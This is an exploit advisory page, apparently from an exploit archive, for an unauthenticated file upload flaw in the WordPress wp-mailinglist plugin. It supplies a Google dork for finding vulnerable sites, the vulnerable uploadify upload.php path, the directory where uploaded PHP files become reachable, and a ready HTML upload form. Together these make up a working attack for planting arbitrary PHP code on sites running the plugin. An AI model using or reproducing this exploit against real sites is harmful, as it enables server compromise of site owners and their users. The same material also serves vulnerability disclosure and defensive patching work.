Wordpress plugins wp-mailinglist upload File Vulnerability | CSRF

2017.08.19
Credit: Dyar Sahdi
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

################################################################################# # Exploit Title : Wordpress plugins wp-mailinglist upload File Vulnerability | CSRF # Author : Dyar Sahdi # Google Dork : inurl:/wp-content/plugins/wp-mailinglist/ # Tested on : Linux # data : 2017-8-18 ################################################################################# # # # if msg : No file data was posted An existing vulnerability # # [!] Exploit : 127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php # # [!] File Location : http:/127.0.0.1/path/wp-content/uploads/wp-mailinglist/FILE_NAME.php ################################################################################# #CSRF: ################################################################################# <html> <body> <form action="127.0.0.1/path/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php" method="POST" enctype="multipart/form-data"> <input type="file" name="upfile" /> <input type="submit" value="Submit" /> </form> </body> </html> ##############################################################################

References:



Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top